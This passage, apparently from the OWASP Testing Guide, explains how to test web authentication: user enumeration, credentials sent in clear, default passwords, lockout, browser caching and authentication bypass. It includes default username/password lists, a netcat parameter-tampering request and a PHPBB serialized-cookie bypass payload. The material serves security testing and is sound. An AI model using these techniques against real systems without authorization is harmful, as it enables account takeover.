In some cases the user IDs are created with specific policies of administrator or company. For example we can view a user with a user ID created in sequential order:

```
CN000100
CN000101
...
```

Sometimes the usernames are created with a REALM alias and then a sequential numbers:

```
R1001 - user 001 for REALM1
R2001 - user 001 for REALM2
```

In the above sample we can create simple shell scripts that compose user IDs and submit a request with tool like wget to automate a web query to discern valid user IDs. To create a script we can also use Perl and CURL.

Other possibilities are:

- user IDs associated with credit card numbers, or in general numbers with a pattern.
- user IDs associated with real names, e.g. if Freddie Mercury has a user ID of "fmercury", then you might guess Roger Taylor to have the user ID of "rtaylor".

Again, we can guess a username from the information received from an LDAP query or from Google information gathering, for example, from a specific domain. Google can help to find domain users through specific queries or through a simple shell script or tool.

Attention: by enumerating user accounts, you risk locking out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, your IP address can be banned by dynamic rules on the application firewall or Intrusion Prevention System.

Gray Box testing

Testing for Authentication error messages

Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and Gray Box testing have the same concept based on the analysis of messages or error codes received from web application.

Result Expected:

The application should answer in the same manner for every failed attempt of authentication.

For Example:

```
Credentials submitted are not valid
```

Tools

- WebScarab: [OWASP_WebScarab_Project](#)
- CURL: <http://curl.haxx.se/>
- PERL: <http://www.perl.org>
- Sun Java Access & Identity Manager users enumeration tool: <http://www.aboutsecurity.net>

References

- Marco Mella, *Sun Java Access & Identity Manager Users enumeration*: <http://www.aboutsecurity.net>
- *Username Enumeration Vulnerabilities*: <http://www.gnucitizen.org/blog/username-enumeration-vulnerabilities>

Remediation

Ensure the application returns consistent generic error messages in response to invalid account name, password or other user credentials entered during the log in process.

Ensure default system accounts and test accounts are deleted prior to releasing the system into production (or exposing it to an untrusted network).

Testing for Weak or unenforced username policy (OTG-IDENT-005)

Summary

User account names are often highly structured (e.g. Joe Bloggs account name is jbloggs and Fred Nurks account name is fnurks) and valid account names can easily be guessed.

Test objectives

Determine whether a consistent account name structure renders the application vulnerable to account enumeration.
Determine whether the application's error messages permit account enumeration.

How to test

- Determine the structure of account names.
- Evaluate the application's response to valid and invalid account names.
- Use different responses to valid and invalid account names to enumerate valid account names.
- Use account name dictionaries to enumerate valid account names.

Remediation

Ensure the application returns consistent generic error messages in response to invalid account name, password or other user credentials entered during the log in process.

Authentication Testing

Authentication (Greek: αυθεντικός = real or genuine, from 'authentēs' = author) is the act of establishing or confirming something (or someone) as authentic, that is, that claims made by or about the thing are true. Authenticating an object may mean confirming its provenance, whereas authenticating a person often consists of verifying her identity. Authentication depends upon one or more authentication factors.

In computer security, authentication is the process of attempting to verify the digital identity of the sender of a communication. A common example of such a process is the log on process. Testing the authentication schema means understanding how the authentication process works and using that information to circumvent the authentication mechanism.

- [Testing for Credentials Transported over an Encrypted Channel \(OTG-AUTHN-001\)](#)
- [Testing for default credentials \(OTG-AUTHN-002\)](#)
- [Testing for Weak lock out mechanism \(OTG-AUTHN-003\)](#)
- [Testing for bypassing authentication schema \(OTG-AUTHN-004\)](#)
- [Test remember password functionality \(OTG-AUTHN-005\)](#)
- [Testing for Browser cache weakness \(OTG-AUTHN-006\)](#)
- [Testing for Weak password policy \(OTG-AUTHN-007\)](#)
- [Testing for Weak security question/answer \(OTG-AUTHN-008\)](#)
- [Testing for weak password change or reset functionalities \(OTG-AUTHN-009\)](#)
- [Testing for Weaker authentication in alternative channel \(OTG-AUTHN-010\)](#)

Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)

Summary

Testing for credentials transport means verifying that the user's authentication data are transferred via an encrypted channel to avoid being intercepted by malicious users. The analysis focuses simply on trying to understand if the data travels unencrypted from the web browser to the server, or if the web application takes the appropriate security measures using a protocol like HTTPS. The HTTPS protocol is built on TLS/SSL to encrypt the data that is transmitted and to ensure that user is being sent towards the desired site.

Clearly, the fact that traffic is encrypted does not necessarily mean that it's completely safe. The security also depends on the encryption algorithm used and the robustness of the keys that the application is using, but this particular topic will not be addressed in this section.

For a more detailed discussion on testing the safety of TLS/SSL channels refer to the chapter [Testing for Weak SSL/TLS](#). Here, the tester will just try to understand if the data that users put in to web forms in order to log in to a web site, are transmitted using secure protocols that protect them from an attacker.

Nowadays, the most common example of this issue is the log in page of a web application. The tester should verify that user's credentials are transmitted via an encrypted channel. In order to log in to a web site, the user usually has to fill a simple form that transmits the inserted data to the web application with the POST method. What is less obvious is that this data can be passed using the HTTP protocol, which transmits the data in a non-secure, clear text form, or using the HTTPS protocol, which encrypts the data during the transmission. To further complicate things, there is the possibility that the site has the login page accessible via HTTP (making us believe that the transmission is insecure), but then it actually sends data via HTTPS. This test is done to be sure that an attacker cannot retrieve sensitive information by simply sniffing the network with a sniffer tool.

How to Test

Black Box testing

In the following examples we will use WebScarab in order to capture packet headers and to inspect them. You can use any web proxy that you prefer.

Example 1: Sending data with POST method through HTTP

Suppose that the login page presents a form with fields User, Pass, and the Submit button to authenticate and give access to the application. If we look at the headers of our request with WebScarab, we can get something like this:

```
POST http://www.example.com/AuthenticationServlet HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/index.jsp
Cookie: JSESSIONID=LvRRRQXgwyWpW7QMnS49vtW1yBdqN98CGLkP4jTvVCGdyPkmn3S!
Content-Type: application/x-www-form-urlencoded
Content-length: 64

delegated_service=218&User=test&Pass=test&Submit=SUBMIT
```


From this example the tester can understand that the POST request sends the data to the page `www.example.com/AuthenticationServlet` using HTTP. So the data is transmitted without encryption and a malicious user could intercept the username and password by simply sniffing the network with a tool like Wireshark.

Example 2: Sending data with POST method through HTTPS

Suppose that our web application uses the HTTPS protocol to encrypt the data we are sending (or at least for transmitting sensitive data like credentials). In this case, when logging on to the web application the header of our POST request would be similar to the following:

```
POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/cgi-bin/login.cgi
Cookie: language=English;
Content-Type: application/x-www-form-urlencoded
Content-length: 50

Command=Login&User=test&Pass=test
```

We can see that the request is addressed to `www.example.com:443/cgi-bin/login.cgi` using the HTTPS protocol. This ensures that our credentials are sent using an encrypted channel and that the credentials are not readable by a malicious user using a sniffer.

Example 3: sending data with POST method via HTTPS on a page reachable via HTTP

Now, imagine having a web page reachable via HTTP and that only data sent from the authentication form are transmitted via HTTPS. This situation occurs, for example, when we are on a portal of a big company that offers various information and services that are publicly available, without identification, but the site also has a private section accessible from the home page when users log in. So when we try to log in, the header of our request will look like the following example:

```
POST https://www.example.com:443/login.do HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/homepage.do
Cookie: SESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB6pLhjkW6F
Content-Type: application/x-www-form-urlencoded
Content-length: 45

User=test&Pass=test&portal=ExamplePortal
```

We can see that our request is addressed to `www.example.com:443/login.do` using HTTPS. But if we have a look at the Referer-header (the page from which we came), it is `www.example.com/homepage.do` and is accessible via simple HTTP. Although we are sending data via HTTPS, this deployment can allow [SSLStrip](#) attacks (a type of [Man-in-the-middle](#) attack)

Example 4: Sending data with GET method through HTTPS

In this last example, suppose that the application transfers data using the GET method. This method should never be used

in a form that transmits sensitive data such as username and password, because the data is displayed in clear text in the URL and this causes a whole set of security issues. For example, the URL that is requested is easily available from the server logs or from your browser history, which makes your sensitive data retrievable for unauthorized persons. So this example is purely demonstrative, but, in reality, it is strongly suggested to use the POST method instead.

```
GET https://www.example.com/success.html?user=test&pass=test HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/form.html
If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT
If-None-Match: "43a01-5b-4868915f"
```

You can see that the data is transferred in clear text in the URL and not in the body of the request as before. But we must consider that SSL/TLS is a level 5 protocol, a lower level than HTTP, so the whole HTTP packet is still encrypted making the URL unreadable to a malicious user using a sniffer. Nevertheless as stated before, it is not a good practice to use the GET method to send sensitive data to a web application, because the information contained in the URL can be stored in many locations such as proxy and web server logs.

Gray Box testing

Speak with the developers of the web application and try to understand if they are aware of the differences between HTTP and HTTPS protocols and why they should use HTTPS for transmitting sensitive information. Then, check with them if HTTPS is used in every sensitive request, like those in log in pages, to prevent unauthorized users to intercept the data.

Tools

- [WebScarab](#)
- [OWASP Zed Attack Proxy \(ZAP\)](#)

References

Whitepapers

- HTTP/1.1: Security Considerations - <http://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html>
- [SSL is not about encryption](#)

Testing for default credentials (OTG-AUTHN-002)

Summary

Nowadays web applications often make use of popular open source or commercial software that can be installed on servers with minimal configuration or customization by the server administrator. Moreover, a lot of hardware appliances (i.e. network routers and database servers) offer web-based configuration or administrative interfaces.

Often these applications, once installed, are not properly configured and the default credentials provided for initial authentication and configuration are never changed. These default credentials are well known by penetration testers and, unfortunately, also by malicious attackers, who can use them to gain access to various types of applications.

Furthermore, in many situations, when a new account is created on an application, a default password (with some standard characteristics) is generated. If this password is predictable and the user does not change it on the first access, this can lead to an attacker gaining unauthorized access to the application.

The root cause of this problem can be identified as:

- Inexperienced IT personnel, who are unaware of the importance of changing default passwords on installed infrastructure components, or leave the password as default for "ease of maintenance".
- Programmers who leave back doors to easily access and test their application and later forget to remove them.
- Applications with built-in non-removable default accounts with a preset username and password.
- Applications that do not force the user to change the default credentials after the first log in.

How to Test

Testing for default credentials of common applications

In black box testing the tester knows nothing about the application and its underlying infrastructure. In reality this is often not true, and some information about the application is known. We suppose that you have identified, through the use of the techniques described in this Testing Guide under the chapter [Information Gathering](#), at least one or more common applications that may contain accessible administrative interfaces.

When you have identified an application interface, for example a Cisco router web interface or a Weblogic administrator portal, check that the known usernames and passwords for these devices do not result in successful authentication. To do this you can consult the manufacturer's documentation or, in a much simpler way, you can find common credentials using a search engine or by using one of the sites or tools listed in the Reference section.

When facing applications where we do not have a list of default and common user accounts (for example due to the fact that the application is not wide spread) we can attempt to guess valid default credentials. Note that the application being tested may have an account lockout policy enabled, and multiple password guess attempts with a known username may cause the account to be locked. If it is possible to lock the administrator account, it may be troublesome for the system administrator to reset it.

Many applications have verbose error messages that inform the site users as to the validity of entered usernames. This information will be helpful when testing for default or guessable user accounts. Such functionality can be found, for example, on the log in page, password reset and forgotten password page, and sign up page. Once you have found a default username you could also start guessing passwords for this account.

More information about this procedure can be found in the section [Testing for User Enumeration and Guessable User Account](#) and in the section [Testing for Weak password policy](#).

Since these types of default credentials are often bound to administrative accounts you can proceed in this manner:

- Try the following usernames - "admin", "administrator", "root", "system", "guest", "operator", or "super". These are popular among system administrators and are often used. Additionally you could try "qa", "test", "test1", "testing" and similar names. Attempt any combination of the above in both the username and the password fields. If the application is vulnerable to username enumeration, and you manage to successfully identify any of the above usernames, attempt passwords in a similar manner. In addition try an empty password or one of the following "password", "pass123", "password123", "admin", or "guest" with the above accounts or any other enumerated accounts. Further permutations of the above can also be attempted. If these passwords fail, it may be worth using a common username and password list and attempting multiple requests against the application. This can, of course, be scripted to save time.
- Application administrative users are often named after the application or organization. This means if you are testing an application named "Obscurity", try using obscurity/obscurity or any other similar combination as the username and password.
- When performing a test for a customer, attempt using names of contacts you have received as usernames with any common passwords. Customer email addresses may reveal the user accounts naming convention: if employee John Doe has the email address jdoe@example.com, you can try to find the names of system administrators on social media and guess their username by applying the same naming convention to their name.
- Attempt using all the above usernames with blank passwords.
- Review the page source and JavaScript either through a proxy or by viewing the source. Look for any references to users and passwords in the source. For example "If username='admin' then starturl=/admin.asp else /index.asp" (for a successful log in versus a failed log in). Also, if you have a valid account, then log in and view every request and response for a valid log in versus an invalid log in, such as additional hidden parameters, interesting GET request (login=yes), etc.
- Look for account names and passwords written in comments in the source code. Also look in backup directories for source code (or backups of source code) that may contain interesting comments and code.

Testing for default password of new accounts

It can also occur that when a new account is created in an application the account is assigned a default password. This password could have some standard characteristics making it predictable. If the user does not change it on first usage (this often happens if the user is not forced to change it) or if the user has not yet logged on to the application, this can lead an attacker to gain unauthorized access to the application.

The advice given before about a possible lockout policy and verbose error messages are also applicable here when testing for default passwords.

The following steps can be applied to test for these types of default credentials:

- Looking at the User Registration page may help to determine the expected format and minimum or maximum length of the application usernames and passwords. If a user registration page does not exist, determine if the organization uses a standard naming convention for user names such as their email address or the name before the "@" in the email.
- Try to extrapolate from the application how usernames are generated. For example, can a user choose his/her own username or does the system generate an account name for the user based on some personal information or by using a predictable sequence? If the application does generate the account names in a predictable sequence, such as user7811, try fuzzing all possible accounts recursively. If you can identify a different response from the application when using a valid username and a wrong password, then you can try a brute force attack on the valid username (or quickly try any of the identified common passwords above or in the reference section).
- Try to determine if the system generated password is predictable. To do this, create many new accounts quickly after one another so that you can compare and determine if the passwords are predictable. If predictable, try to correlate these with the usernames, or any enumerated accounts, and use them as a basis for a brute force attack.
- If you have identified the correct naming convention for the user name, try to "brute force" passwords with some

common predictable sequence like for example dates of birth.

- Attempt using all the above usernames with blank passwords or using the username also as password value.

Gray Box testing

The following steps rely on an entirely Gray Box approach. If only some of this information is available to you, refer to black box testing to fill the gaps.

- Talk to the IT personnel to determine which passwords they use for administrative access and how administration of the application is undertaken.
- Ask IT personnel if default passwords are changed and if default user accounts are disabled.
- Examine the user database for default credentials as described in the Black Box testing section. Also check for empty password fields.
- Examine the code for hard coded usernames and passwords.
- Check for configuration files that contain usernames and passwords.
- Examine the password policy and, if the application generates its own passwords for new users, check the policy in use for this procedure.

Tools

- Burp Intruder: <http://portswigger.net/burp/intruder.html>
- THC Hydra: <http://www.thc.org/thc-hydra/>
- Brutus: <http://www.hoobie.net/brutus/>
- Nikto 2: <http://www.cirt.net/nikto2>

References

Whitepapers

- CIRT <http://www.cirt.net/passwords>
- Government Security - Default Logins and Passwords for Networked Devices
<http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php>
- Virus.org <http://www.virus.org/default-password/>

Testing for Weak lock out mechanism (OTG-AUTHN-003)

Summary

Account lockout mechanisms are used to mitigate brute force password guessing attacks. Accounts are typically locked after 3 to 5 unsuccessful login attempts and can only be unlocked after a predetermined period of time, via a self-service unlock mechanism, or intervention by an administrator. Account lockout mechanisms require a balance between protecting accounts from unauthorized access and protecting users from being denied authorized access.

Note that this test should cover all aspects of authentication where lockout mechanisms would be appropriate, e.g. when the user is presented with security questions during forgotten password mechanisms (see [Testing for Weak security question/answer \(OTG-AUTHN-008\)](#)).

Without a strong lockout mechanism, the application may be susceptible to brute force attacks. After a successful brute force attack, a malicious user could have access to:

- Confidential information or data: Private sections of a web application could disclose confidential documents, users' profile data, financial information, bank details, users' relationships, etc.
- Administration panels: These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc.
- Opportunities for further attacks: authenticated sections of a web application could contain vulnerabilities that are not present in the public section of the web application and could contain advanced functionality that is not available to public users.

Test objectives

1. Evaluate the account lockout mechanism's ability to mitigate brute force password guessing.
2. Evaluate the unlock mechanism's resistance to unauthorized account unlocking.

How to Test

Typically, to test the strength of lockout mechanisms, you will need access to an account that you are willing or can afford to lock. If you have only one account with which you can log on to the web application, perform this test at the end of your test plan to avoid that you cannot continue your testing due to a locked account.

To evaluate the account lockout mechanism's ability to mitigate brute force password guessing, attempt an invalid log in by using the incorrect password a number of times, before using the correct password to verify that the account was locked out. An example test may be as follows:

1. Attempt to log in with an incorrect password 3 times.
2. Successfully log in with the correct password, thereby showing that the lockout mechanism doesn't trigger after 3 incorrect authentication attempts.
3. Attempt to log in with an incorrect password 4 times.
4. Successfully log in with the correct password, thereby showing that the lockout mechanism doesn't trigger after 4 incorrect authentication attempts.
5. Attempt to log in with an incorrect password 5 times.
6. Attempt to log in with the correct password. The application returns "Your account is locked out.", thereby confirming that the account is locked out after 5 incorrect authentication attempts.
7. Attempt to log in with the correct password 5 minutes later. The application returns "Your account is locked out.",

- thereby showing that the lockout mechanism does not automatically unlock after 5 minutes.
8. Attempt to log in with the correct password 10 minutes later. The application returns "Your account is locked out.", thereby showing that the lockout mechanism does not automatically unlock after 10 minutes.
 9. Successfully log in with the correct password 15 minutes later, thereby showing that the lockout mechanism automatically unlocks after a 10 to 15 minute period.

A CAPTCHA may hinder brute force attacks, but they can come with their own set of weaknesses (see [Testing for CAPTCHA](#)), and should not replace a lockout mechanism.

To evaluate the unlock mechanism's resistance to unauthorized account unlocking, initiate the unlock mechanism and look for weaknesses. Typical unlock mechanisms may involve secret questions or an emailed unlock link. The unlock link should be a unique one-time link, to stop an attacker from guessing or replaying the link and performing brute force attacks in batches. Secret questions and answers should be strong (see [Testing for Weak Security Question/Answer](#)).

Note that an unlock mechanism should only be used for unlocking accounts. It is not the same as a password recovery mechanism.

Factors to consider when implementing an account lockout mechanism:

1. What is the risk of brute force password guessing against the application?
2. Is a CAPTCHA sufficient to mitigate this risk?
3. Number of unsuccessful log in attempts before lockout. If the lockout threshold is too low then valid users may be locked out too often. If the lockout threshold is too high then the more attempts an attacker can make to brute force the account before it will be locked. Depending on the application's purpose, a range of 5 to 10 unsuccessful attempts is typical lockout threshold.
4. How will accounts be unlocked?
 - i. Manually by an administrator: this is the most secure lockout method, but may cause inconvenience to users and take up the administrator's "valuable" time.
 - i. Note that the administrator should also have a recovery method in case his account gets locked.
 - ii. This unlock mechanism may lead to a denial-of-service attack if an attacker's goal is to lock the accounts of all users of the web application.
 - ii. After a period of time: What is the lockout duration? Is this sufficient for the application being protected? E.g. a 5 to 30 minute lockout duration may be a good compromise between mitigating brute force attacks and inconveniencing valid users.
 - iii. Via a self-service mechanism: As stated before, this self-service mechanism must be secure enough to avoid that the attacker can unlock accounts himself.

References

See the OWASP article on [Brute Force Attacks](#).

Remediation

Apply account unlock mechanisms depending on the risk level. In order from lowest to highest assurance:

1. Time-based lockout and unlock.
2. Self-service unlock (sends unlock email to registered email address).
3. Manual administrator unlock.
4. Manual administrator unlock with positive user identification.

Testing for bypassing authentication schema (OTG-AUTHN-004)

Summary

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.

Problems related to the authentication schema can be found at different stages of the software development life cycle (SDLC), like the design, development, and deployment phases:

- In the design phase errors can include a wrong definition of application sections to be protected, the choice of not applying strong encryption protocols for securing the transmission of credentials, and many more.
- In the development phase errors can include the incorrect implementation of input validation functionality or not following the security best practices for the specific language.
- In the application deployment phase, there may be issues during the application setup (installation and configuration activities) due to a lack in required technical skills or due to the lack of good documentation.

How to Test


Black Box testing

There are several methods of bypassing the authentication schema that is used by a web application:

- Direct page request ([forced browsing](#))
- Parameter modification
- Session ID prediction
- SQL injection

Direct page request

If a web application implements access control only on the log in page, the authentication schema could be bypassed. For example, if a user directly requests a different page via forced browsing, that page may not check the credentials of the user before granting access. Attempt to directly access a protected page through the address bar in your browser to test using this method.



Parameter Modification


Another problem related to authentication design is when the application verifies a successful log in on the basis of a fixed value parameters. A user could modify these parameters to gain access to the protected areas without providing valid credentials. In the example below, the "authenticated" parameter is changed to a value of "yes", which allows the user to gain access. In this example, the parameter is in the URL, but a proxy could also be used to modify the parameter, especially when the parameters are sent as form elements in a POST request or when the parameters are stored in a cookie.

```
http://www.site.com/page.asp?authenticated=no
```

```
raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Authenticated</H1>
</BODY></HTML>
```



Session ID Prediction

Many web applications manage authentication by using session identifiers (session IDs). Therefore, if session ID generation is predictable, a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure, values inside cookies increase linearly, so it could be easy for an attacker to guess a valid session ID.



In the following figure, values inside cookies change only partially, so it's possible to restrict a brute force attack to the defined fields shown below.

Session Identifier : 127.0.0.1/WebGoat WEAKID		
Date	Value	
2006/11/11 14:33:27	12430	1163252007028
2006/11/11 14:33:27	12431	1163252007138
2006/11/11 14:33:27	12432	1163252007247
2006/11/11 14:33:27	12433	1163252007435
2006/11/11 14:33:27	12434	1163252007544
2006/11/11 14:33:27	12435	1163252007653
2006/11/11 14:33:27	12436	1163252007763
2006/11/11 14:33:27	12437	1163252007872
2006/11/11 14:33:28	12438	1163252007982
2006/11/11 14:33:28	12439	1163252008091
2006/11/11 14:33:28	12440	1163252008200
2006/11/11 14:33:28	12442	1163252008310
2006/11/11 14:33:28	12443	1163252008419
2006/11/11 14:33:28	12444	1163252008528
2006/11/11 14:33:28	12445	1163252008638
2006/11/11 14:33:28	12446	1163252008747
2006/11/11 14:33:28	12447	1163252008857
2006/11/11 14:33:28	12448	1163252008966
2006/11/11 14:33:29	12449	1163252009075

SQL Injection (HTML Form Authentication)

SQL Injection is a widely known attack technique. This section is not going to describe this technique in detail as there are several sections in this guide that explain injection techniques beyond the scope of this section.



The following figure shows that with a simple SQL injection attack, it is sometimes possible to bypass the authentication form.

Intercept requests : Intercept responses :

Parsed Raw

Method URL Version
 POST http://127.0.0.1:80/WebGoat/attack?menu=610 HTTP/1.1

Header	Value
Host	127.0.0.1
User-Agent	Raven Web Browser
Accept	text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language	en-us,en;q=0.5
Accept-Encoding	gzip,deflate
Accept-Charset	ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive	300
Proxy-Connection	keep-alive
Referer	http://127.0.0.1/WebGoat/attack?show=PreviousHint&menu=610
Cookie	JSESSIONID=01D8C5565AC590D7612DD1BCD9F21C66
Authorization	Basic Z3Vlc3Q6Z3Vlc3Q=
Content-Type	application/x-www-form-urlencoded
Content-length	38

Insert Delete

URLEncoded Text Hex

Variable	Value
employee_id	101
password	██████████ ← SQL INJECTION
action	Login

Insert Delete

Accept changes Cancel changes Abort request Cancel ALL intercepts

Gray Box Testing

If an attacker has been able to retrieve the application source code by exploiting a previously discovered vulnerability (e.g., directory traversal), or from a web repository (Open Source Applications), it could be possible to perform refined attacks against the implementation of the authentication process.

In the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5 the unserialize() function parses a user supplied cookie and sets values inside the \$row array. At line 10 the user's MD5 password hash stored inside the back end database is compared to the one supplied.

```

1. if ( isset($HTTP_COOKIE_VARS[$cookieName . '_sid']) ) {
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookieName . '_data'] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookieName . '_data'])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
10. if( md5($password) == $row['user_password'] && $row['user_active'] )
11.
12. {
13. $autoLogin = ( isset($HTTP_POST_VARS['autoLogin']) ) ? TRUE : 0;
14. }

```

In PHP, a comparison between a string value and a boolean value (1 - "TRUE") is always "TRUE", so by supplying the following string (the important part is "b:1") to the unserialize() function, it is possible to bypass the authentication control:

```
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
```

Tools

- [WebScarab](#)
- [WebGoat](#)
- [OWASP Zed Attack Proxy \(ZAP\)](#)

References

Whitepapers

- Mark Roxberry: "PHPBB 2.0.13 vulnerability"
- David Endler: "Session ID Brute Force Exploitation and Prediction" - <http://www.cgisecurity.com/lib/SessionIDs.pdf>

Test remember password functionality (OTG-AUTHN-005)

Summary

Browsers will sometimes ask a user if they wish to remember the password that they just entered. The browser will then store the password, and automatically enter it whenever the same authentication form is visited. This is a convenience for the user. Additionally some websites will offer custom "remember me" functionality to allow users to persist log ins on a specific client system.

Having the browser store passwords is not only a convenience for end-users, but also for an attacker. If an attacker can gain access to the victim's browser (e.g. through a Cross Site Scripting attack, or through a shared computer), then they can retrieve the stored passwords. It is not uncommon for browsers to store these passwords in an easily retrievable manner, but even if the browser were to store the passwords encrypted and only retrievable through the use of a master password, an attacker could retrieve the password by visiting the target web application's authentication form, entering the victim's username, and letting the browser to enter the password.

Additionally where custom "remember me" functions are put in place weaknesses in how the token is stored on the client PC (for example using base64 encoded credentials as the token) could expose the users passwords. Since early 2014 most major browsers will override any use of `autocomplete="off"` with regards to password forms and as a result previous checks for this are not required and recommendations should not commonly be given for disabling this feature. However this can still apply to things like secondary secrets which may be stored in the browser inadvertently.

How to Test

- Look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in clear text, but are hashed.
- Examine the hashing mechanism: if it is a common, well-known algorithm, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable.
- Verify that the credentials are only sent during the log in phase, and not sent together with every request to the application.
- Consider other sensitive form fields (e.g. an answer to a secret question that must be entered in a password recovery or account unlock form).

Remediation

Ensure that no credentials are stored in clear text or are easily retrievable in encoded or encrypted forms in cookies.

Testing for Browser cache weakness (OTG-AUTHN-006)

Summary

In this phase the tester checks that the application correctly instructs the browser to not remember sensitive data.

Browsers can store information for purposes of caching and history. Caching is used to improve performance, so that previously displayed information doesn't need to be downloaded again. History mechanisms are used for user convenience, so the user can see exactly what they saw at the time when the resource was retrieved. If sensitive information is displayed to the user (such as their address, credit card details, Social Security Number, or username), then this information could be stored for purposes of caching or history, and therefore retrievable through examining the browser's cache or by simply pressing the browser's "Back" button.

How to Test

Browser History

Technically, the "Back" button is a history and not a cache (see <http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13>). The cache and the history are two different entities. However, they share the same weakness of presenting previously displayed sensitive information.

The first and simplest test consists of entering sensitive information into the application and logging out. Then the tester clicks the "Back" button of the browser to check whether previously displayed sensitive information can be accessed whilst unauthenticated.

If by pressing the "Back" button the tester can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue. If these pages contain sensitive data, it means that the application did not forbid the browser from storing it.

Authentication does not necessarily need to be involved in the testing. For example, when a user enters their email address in order to sign up to a newsletter, this information could be retrievable if not properly handled.

The "Back" button can be stopped from showing sensitive data. This can be done by:

- Delivering the page over HTTPS.
- Setting Cache-Control: must-re-validate

Browser Cache

Here testers check that the application does not leak any sensitive data into the browser cache. In order to do that, they can use a proxy (such as WebScarab) and search through the server responses that belong to the session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers:

- Cache-Control: no-cache, no-store
- Expires: 0
- Pragma: no-cache

These directives are generally robust, although additional flags may be necessary for the Cache-Control header in order to better prevent persistently linked files on the filesystem. These include:

- Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0

```
HTTP/1.1:  
Cache-Control: no-cache
```

```
HTTP/1.0:  
Pragma: no-cache  
Expires: <past date or illegal value (e.g., 0)>
```

For instance, if testers are testing an e-commerce application, they should look for all pages that contain a credit card number or some other financial information, and check that all those pages enforce the no-cache directive. If they find pages that contain critical information but that fail to instruct the browser not to cache their content, they know that sensitive information will be stored on the disk, and they can double-check this simply by looking for the page in the browser cache.

The exact location where that information is stored depends on the client operating system and on the browser that has been used. Here are some examples:

- Mozilla Firefox:
 - Unix/Linux: `~/.mozilla/firefox//Cache/`
 - Windows: `C:\Documents and Settings\Local Settings\Application Data\Mozilla\Firefox\Profiles\Cache`
- Internet Explorer:
 - `C:\Documents and Settings\Local Settings\Temporary Internet Files`

Gray Box testing

The methodology for testing is equivalent to the black box case, as in both scenarios testers have full access to the server response headers and to the HTML code. However, with gray box testing, the tester may have access to account credentials that will allow them to test sensitive pages that are accessible only to authenticated users.

Tools

- [OWASP Zed Attack Proxy](#)
- Firefox add-on [CacheViewer2](#)

References

Whitepapers

- [Caching in HTTP](#)

Testing for Weak password policy (OTG-AUTHN-007)

Summary

The most prevalent and most easily administered authentication mechanism is a static password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: 123456, password and qwerty.

Test objectives

Determine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.

How to Test

